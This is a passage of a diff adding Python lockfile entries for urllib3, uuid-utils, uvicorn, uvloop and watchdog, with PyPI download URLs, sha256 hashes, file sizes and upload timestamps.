"https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8a/17b11768dcb473d3a255c02ffdd94fbd1b345c906efea0a39124dcbaed52/uuid_utils-0.13.0.tar.gz", hash = "sha256:4c17df6427a9e23a4cd7fb9ee1efb53b8abb078660b9bdb2524ca8595022dfe1", size = 21921, upload-time = "2026-01-08T15:48:10.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/b8/d40848ca22781f206c60a1885fc737d2640392bd6b5792d455525accd89c/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:83628283e977fb212e756bc055df8fdd2f9f589a2e539ba1abe755b8ce8df7a4", size = 602130, upload-time = "2026-01-08T15:47:34.877Z" }, + { url = "https://files.pythonhosted.org/packages/40/b9/00a944b8096632ea12638181f8e294abcde3e3b8b5e29b777f809896f6ae/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c47638ed6334ab19d80f73664f153b04bbb04ab8ce4298d10da6a292d4d21c47", size = 304213, upload-time = "2026-01-08T15:47:36.807Z" }, + { url = "https://files.pythonhosted.org/packages/da/d7/07b36c33aef683b81c9afff3ec178d5eb39d325447a68c3c68a62e4abb32/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:b276b538c57733ed406948584912da422a604313c71479654848b84b9e19c9b0", size = 340624, upload-time = "2026-01-08T15:47:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/7d/55/fcff2fff02a27866cb1a6614c9df2b3ace721f0a0aab2b7b8f5a7d4e4221/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_armv7l.whl", hash = "sha256:bdaf2b77e34b199cf04cde28399495fd1ed951de214a4ece1f3919b2f945bb06", size = 346705, upload-time = "2026-01-08T15:47:40.397Z" }, + { url = "https://files.pythonhosted.org/packages/41/48/67438506c2bb8bee1b4b00d7c0b3ff866401b4790849bf591d654d4ea0bc/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_i686.whl", hash = "sha256:eb2f0baf81e82f9769a7684022dca8f3bf801ca1574a3e94df1876e9d6f9271e", size = 366023, upload-time = "2026-01-08T15:47:42.662Z" }, + { url = "https://files.pythonhosted.org/packages/8b/d7/2d91ce17f62fd764d593430de296b70843cc25229c772453f7261de9e6a8/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_ppc64le.whl", hash = "sha256:6be6c4d11275f5cc402a4fdba6c2b1ce45fd3d99bb78716cd1cc2cbf6802b2ce", size = 471149, upload-time = "2026-01-08T15:47:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9a/aa0756186073ba84daf5704c150d41ede10eb3185d510e02532e2071550e/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:77621cf6ceca7f42173a642a01c01c216f9eaec3b7b65d093d2d6a433ca0a83d", size = 342130, upload-time = "2026-01-08T15:47:46.331Z" }, + { url = "https://files.pythonhosted.org/packages/74/b4/3191789f4dc3bed59d79cec90559821756297a25d7dc34d1bf7781577a75/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a5a9eb06c2bb86dd876cd7b2fe927fc8543d14c90d971581db6ffda4a02526f", size = 524128, upload-time = "2026-01-08T15:47:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/b2/30/29839210a8fff9fc219bfa7c8d8cd115324e92618cba0cda090d54d3d321/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:775347c6110fb71360df17aac74132d8d47c1dbe71233ac98197fc872a791fd2", size = 615872, upload-time = "2026-01-08T15:47:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/99/ed/15000c96a8bd8f5fd8efd622109bf52549ea0b366f8ce71c45580fa55878/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf95f6370ad1a0910ee7b5ad5228fd19c4ae32fe3627389006adaf519408c41e", size = 581023, upload-time = "2026-01-08T15:47:52.776Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/3f809fa2dc2ca4bd331c792a3c7d3e45ae2b709d85847a12b8b27d1d5f19/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5a88e23e0b2f4203fefe2ccbca5736ee06fcad10e61b5e7e39c8d7904bc13300", size = 546715, upload-time = "2026-01-08T15:47:54.415Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/4f7c7efd734d1494397c781bd3d421688e9c187ae836e3174625b1ddf8b0/uuid_utils-0.13.0-cp39-abi3-win32.whl", hash = "sha256:3e4f2cc54e6a99c0551158100ead528479ad2596847478cbad624977064ffce3", size = 177650, upload-time = "2026-01-08T15:47:55.679Z" }, + { url = "https://files.pythonhosted.org/packages/6c/94/d05ab68622e66ad787a241dfe5ccc649b3af09f30eae977b9ee8f7046aaa/uuid_utils-0.13.0-cp39-abi3-win_amd64.whl", hash = "sha256:046cb2756e1597b3de22d24851b769913e192135830486a0a70bf41327f0360c", size = 183211, upload-time = "2026-01-08T15:47:57.604Z" }, + { url = "https://files.pythonhosted.org/packages/69/37/674b3ce25cd715b831ea8ebbd828b74c40159f04c95d1bb963b2c876fe79/uuid_utils-0.13.0-cp39-abi3-win_arm64.whl", hash = "sha256:5447a680df6ef8a5a353976aaf4c97cc3a3a22b1ee13671c44227b921e3ae2a9", size = 183518, upload-time = "2026-01-08T15:47:59.148Z" }, + { url = "https://files.pythonhosted.org/packages/99/fa/1d92de9538463859228e68db679b766fd300770c9a2db849dcba0c0c5a57/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e5182e2d95f38e65f2e5bce90648ef56987443da13e145afcd747e584f9bc69c", size = 587641, upload-time = "2026-01-08T15:48:00.433Z" }, + { url = "https://files.pythonhosted.org/packages/ca/07/6bd9e6f5367e38c2ee7178ad882d2bd1b0d17c5393974b09ab027a215eba/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e3909a8a1fbd79d7c8bdc874eeb83e23ccb7a7cb0aa821a49596cc96c0cce84b", size = 298273, upload-time = "2026-01-08T15:48:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/14/7061b868a8a6799c8df83768a23f313d4e22075069f01ee3c28fa82aa2c6/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.whl", hash = "sha256:5dc4c9f749bd2511b8dcbf0891e658d7d86880022963db050722ad7b502b5e22", size = 333618, upload-time = "2026-01-08T15:48:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/bc/f1/f48c3c9c343c9071ade5f355403e344d817412d9cf379a2d04b181282e74/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_armv7l.whl", hash = "sha256:516adf07f5b2cdb88d50f489c702b5f1a75ae8b2639bfd254f4192d5f7ee261f", size = 339104, upload-time = "2026-01-08T15:48:05.02Z" }, + { url = "https://files.pythonhosted.org/packages/47/22/8e3142b4baffee77ce533fe956446d3699ec42f1d5252911208cbef4501e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_i686.whl", hash = "sha256:aeee3bd89e8de6184a3ab778ce19f5ce9ad32849d1be549516e0ddb257562d8d", size = 359503, upload-time = "2026-01-08T15:48:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/bd/1a/756f1f9e31b15019c87cd2becb1c596351c50967cd143443da38df8818d1/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_ppc64le.whl", hash = "sha256:97985256c2e59b7caa51f5c8515f64d777328562a9c900ec65e9d627baf72737", size = 467480, upload-time = "2026-01-08T15:48:07.681Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/a6929e98d9a461ca49e96194a82a1cc3fd5420f3a2f53cbb34fca438549e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:b7ccaa20e24c5f60f41a69ef571ed820737f9b0ade4cbeef56aaa8f80f5aa475", size = 333610, upload-time = "2026-01-08T15:48:09.375Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "h11", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/d1/8f3c683c9561a4e6689dd3b1d345c815f10f86acd044ee1fb9a4dcd0b8c5/uvicorn-0.40.0.tar.gz", hash = "sha256:839676675e87e73694518b5574fd0f24c9d97b46bea16df7b8c05ea1a51071ea", size = 81761, upload-time = "2025-12-21T14:16:22.45Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/d8/2083a1daa7439a66f3a48589a57d576aa117726762618f6bb09fe3798796/uvicorn-0.40.0-py3-none-any.whl", hash = "sha256:c6c8f55bc8bf13eb6fa9ff87ad62308bbbc33d0b67f84293151efe87e0d5f2ee", size = 68502, upload-time = "2025-12-21T14:16:21.041Z" }, +] + +[[package]] +name = "uvloop" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/f0/18d39dbd1971d6d62c4629cc7fa67f74821b0dc1f5a77af43719de7936a7/uvloop-0.22.1.tar.gz", hash = "sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f", size = 2443250, upload-time = "2025-10-16T22:17:19.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/eb/14/ecceb239b65adaaf7fde510aa8bd534075695d1e5f8dadfa32b5723d9cfb/uvloop-0.22.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ef6f0d4cc8a9fa1f6a910230cd53545d9a14479311e87e3cb225495952eb672c", size = 1343335, upload-time = "2025-10-16T22:16:11.43Z" }, + { url = "https://files.pythonhosted.org/packages/ba/ae/6f6f9af7f590b319c94532b9567409ba11f4fa71af1148cab1bf48a07048/uvloop-0.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7cd375a12b71d33d46af85a3343b35d98e8116134ba404bd657b3b1d15988792", size = 742903, upload-time = "2025-10-16T22:16:12.979Z" }, + { url = "https://files.pythonhosted.org/packages/09/bd/3667151ad0702282a1f4d5d29288fce8a13c8b6858bf0978c219cd52b231/uvloop-0.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac33ed96229b7790eb729702751c0e93ac5bc3bcf52ae9eccbff30da09194b86", size = 3648499, upload-time = "2025-10-16T22:16:14.451Z" }, + { url = "https://files.pythonhosted.org/packages/b3/f6/21657bb3beb5f8c57ce8be3b83f653dd7933c2fd00545ed1b092d464799a/uvloop-0.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:481c990a7abe2c6f4fc3d98781cc9426ebd7f03a9aaa7eb03d3bfc68ac2a46bd", size = 3700133, upload-time = "2025-10-16T22:16:16.272Z" }, + { url = "https://files.pythonhosted.org/packages/09/e0/604f61d004ded805f24974c87ddd8374ef675644f476f01f1df90e4cdf72/uvloop-0.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a592b043a47ad17911add5fbd087c76716d7c9ccc1d64ec9249ceafd735f03c2", size = 3512681, upload-time = "2025-10-16T22:16:18.07Z" }, + { url = "https://files.pythonhosted.org/packages/bb/ce/8491fd370b0230deb5eac69c7aae35b3be527e25a911c0acdffb922dc1cd/uvloop-0.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1489cf791aa7b6e8c8be1c5a080bae3a672791fcb4e9e12249b05862a2ca9cec", size = 3615261, upload-time = "2025-10-16T22:16:19.596Z" }, + { url = "https://files.pythonhosted.org/packages/c7/d5/69900f7883235562f1f50d8184bb7dd84a2fb61e9ec63f3782546fdbd057/uvloop-0.22.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c60ebcd36f7b240b30788554b6f0782454826a0ed765d8430652621b5de674b9", size = 1352420, upload-time = "2025-10-16T22:16:21.187Z" }, + { url = "https://files.pythonhosted.org/packages/a8/73/c4e271b3bce59724e291465cc936c37758886a4868787da0278b3b56b905/uvloop-0.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b7f102bf3cb1995cfeaee9321105e8f5da76fdb104cdad8986f85461a1b7b77", size = 748677, upload-time = "2025-10-16T22:16:22.558Z" }, + { url = "https://files.pythonhosted.org/packages/86/94/9fb7fad2f824d25f8ecac0d70b94d0d48107ad5ece03769a9c543444f78a/uvloop-0.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53c85520781d84a4b8b230e24a5af5b0778efdb39142b424990ff1ef7c48ba21", size = 3753819, upload-time = "2025-10-16T22:16:23.903Z" }, + { url = "https://files.pythonhosted.org/packages/74/4f/256aca690709e9b008b7108bc85fba619a2bc37c6d80743d18abad16ee09/uvloop-0.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702", size = 3804529, upload-time = "2025-10-16T22:16:25.246Z" }, + { url = "https://files.pythonhosted.org/packages/7f/74/03c05ae4737e871923d21a76fe28b6aad57f5c03b6e6bfcfa5ad616013e4/uvloop-0.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40631b049d5972c6755b06d0bfe8233b1bd9a8a6392d9d1c45c10b6f9e9b2733", size = 3621267, upload-time = "2025-10-16T22:16:26.819Z" }, + { url = "https://files.pythonhosted.org/packages/75/be/f8e590fe61d18b4a92070905497aec4c0e64ae1761498cad09023f3f4b3e/uvloop-0.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:535cc37b3a04f6cd2c1ef65fa1d370c9a35b6695df735fcff5427323f2cd5473", size = 3723105, upload-time = "2025-10-16T22:16:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/3d/ff/7f72e8170be527b4977b033239a83a68d5c881cc4775fca255c677f7ac5d/uvloop-0.22.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:fe94b4564e865d968414598eea1a6de60adba0c040ba4ed05ac1300de402cd42", size = 1359936, upload-time = "2025-10-16T22:16:29.436Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c6/e5d433f88fd54d81ef4be58b2b7b0cea13c442454a1db703a1eea0db1a59/uvloop-0.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:51eb9bd88391483410daad430813d982010f9c9c89512321f5b60e2cddbdddd6", size = 752769, upload-time = "2025-10-16T22:16:30.493Z" }, + { url = "https://files.pythonhosted.org/packages/24/68/a6ac446820273e71aa762fa21cdcc09861edd3536ff47c5cd3b7afb10eeb/uvloop-0.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:700e674a166ca5778255e0e1dc4e9d79ab2acc57b9171b79e65feba7184b3370", size = 4317413, upload-time = "2025-10-16T22:16:31.644Z" }, + { url = "https://files.pythonhosted.org/packages/5f/6f/e62b4dfc7ad6518e7eff2516f680d02a0f6eb62c0c212e152ca708a0085e/uvloop-0.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4", size = 4426307, upload-time = "2025-10-16T22:16:32.917Z" }, + { url = "https://files.pythonhosted.org/packages/90/60/97362554ac21e20e81bcef1150cb2a7e4ffdaf8ea1e5b2e8bf7a053caa18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e047cc068570bac9866237739607d1313b9253c3051ad84738cbb095be0537b2", size = 4131970, upload-time = "2025-10-16T22:16:34.015Z" }, + { url = "https://files.pythonhosted.org/packages/99/39/6b3f7d234ba3964c428a6e40006340f53ba37993f46ed6e111c6e9141d18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:512fec6815e2dd45161054592441ef76c830eddaad55c8aa30952e6fe1ed07c0", size = 4296343, upload-time = "2025-10-16T22:16:35.149Z" }, + { url = "https://files.pythonhosted.org/packages/89/8c/182a2a593195bfd39842ea68ebc084e20c850806117213f5a299dfc513d9/uvloop-0.22.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:561577354eb94200d75aca23fbde86ee11be36b00e52a4eaf8f50fb0c86b7705", size = 1358611, upload-time = "2025-10-16T22:16:36.833Z" }, + { url = "https://files.pythonhosted.org/packages/d2/14/e301ee96a6dc95224b6f1162cd3312f6d1217be3907b79173b06785f2fe7/uvloop-0.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1cdf5192ab3e674ca26da2eada35b288d2fa49fdd0f357a19f0e7c4e7d5077c8", size = 751811, upload-time = "2025-10-16T22:16:38.275Z" }, + { url = "https://files.pythonhosted.org/packages/b7/02/654426ce265ac19e2980bfd9ea6590ca96a56f10c76e63801a2df01c0486/uvloop-0.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e2ea3d6190a2968f4a14a23019d3b16870dd2190cd69c8180f7c632d21de68d", size = 4288562, upload-time = "2025-10-16T22:16:39.375Z" }, + { url = "https://files.pythonhosted.org/packages/15/c0/0be24758891ef825f2065cd5db8741aaddabe3e248ee6acc5e8a80f04005/uvloop-0.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e", size = 4366890, upload-time = "2025-10-16T22:16:40.547Z" }, + { url = "https://files.pythonhosted.org/packages/d2/53/8369e5219a5855869bcee5f4d317f6da0e2c669aecf0ef7d371e3d084449/uvloop-0.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc5ef13bbc10b5335792360623cc378d52d7e62c2de64660616478c32cd0598e", size = 4119472, upload-time = "2025-10-16T22:16:41.694Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ba/d69adbe699b768f6b29a5eec7b47dd610bd17a69de51b251126a801369ea/uvloop-0.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1f38ec5e3f18c8a10ded09742f7fb8de0108796eb673f30ce7762ce1b8550cad", size = 4239051, upload-time = "2025-10-16T22:16:43.224Z" }, + { url = "https://files.pythonhosted.org/packages/90/cd/b62bdeaa429758aee8de8b00ac0dd26593a9de93d302bff3d21439e9791d/uvloop-0.22.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142", size = 1362067, upload-time = "2025-10-16T22:16:44.503Z" }, + { url = "https://files.pythonhosted.org/packages/0d/f8/a132124dfda0777e489ca86732e85e69afcd1ff7686647000050ba670689/uvloop-0.22.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4baa86acedf1d62115c1dc6ad1e17134476688f08c6efd8a2ab076e815665c74", size = 752423, upload-time = "2025-10-16T22:16:45.968Z" }, + { url = "https://files.pythonhosted.org/packages/a3/94/94af78c156f88da4b3a733773ad5ba0b164393e357cc4bd0ab2e2677a7d6/uvloop-0.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35", size = 4272437, upload-time = "2025-10-16T22:16:47.451Z" }, + { url = "https://files.pythonhosted.org/packages/b5/35/60249e9fd07b32c665192cec7af29e06c7cd96fa1d08b84f012a56a0b38e/uvloop-0.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25", size = 4292101, upload-time = "2025-10-16T22:16:49.318Z" }, + { url = "https://files.pythonhosted.org/packages/02/62/67d382dfcb25d0a98ce73c11ed1a6fba5037a1a1d533dcbb7cab033a2636/uvloop-0.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b31dc2fccbd42adc73bc4e7cdbae4fc5086cf378979e53ca5d0301838c5682c6", size = 4114158, upload-time = "2025-10-16T22:16:50.517Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/f1171b4a882a5d13c8b7576f348acfe6074d72eaf52cccef752f748d4a9f/uvloop-0.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:93f617675b2d03af4e72a5333ef89450dfaa5321303ede6e67ba9c9d26878079", size = 4177360, upload-time = "2025-10-16T22:16:52.646Z" }, + { url = "https://files.pythonhosted.org/packages/79/7b/b01414f31546caf0919da80ad57cbfe24c56b151d12af68cee1b04922ca8/uvloop-0.22.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:37554f70528f60cad66945b885eb01f1bb514f132d92b6eeed1c90fd54ed6289", size = 1454790, upload-time = "2025-10-16T22:16:54.355Z" }, + { url = "https://files.pythonhosted.org/packages/d4/31/0bb232318dd838cad3fa8fb0c68c8b40e1145b32025581975e18b11fab40/uvloop-0.22.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:b76324e2dc033a0b2f435f33eb88ff9913c156ef78e153fb210e03c13da746b3", size = 796783, upload-time = "2025-10-16T22:16:55.906Z" }, + { url = "https://files.pythonhosted.org/packages/42/38/c9b09f3271a7a723a5de69f8e237ab8e7803183131bc57c890db0b6bb872/uvloop-0.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:badb4d8e58ee08dad957002027830d5c3b06aea446a6a3744483c2b3b745345c", size = 4647548, upload-time = "2025-10-16T22:16:57.008Z" }, + { url = "https://files.pythonhosted.org/packages/c1/37/945b4ca0ac27e3dc4952642d4c900edd030b3da6c9634875af6e13ae80e5/uvloop-0.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b91328c72635f6f9e0282e4a57da7470c7350ab1c9f48546c0f2866205349d21", size = 4467065, upload-time = "2025-10-16T22:16:58.206Z" }, + { url = "https://files.pythonhosted.org/packages/97/cc/48d232f33d60e2e2e0b42f4e73455b146b76ebe216487e862700457fbf3c/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:daf620c2995d193449393d6c62131b3fbd40a63bf7b307a1527856ace637fe88", size = 4328384, upload-time = "2025-10-16T22:16:59.36Z" }, + { url = "https://files.pythonhosted.org/packages/e4/16/c1fd27e9549f3c4baf1dc9c20c456cd2f822dbf8de9f463824b0c0357e06/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6cde23eeda1a25c75b2e07d39970f3374105d5eafbaab2a4482be82f272d5a5e", size = 4296730, upload-time = "2025-10-16T22:17:00.744Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = 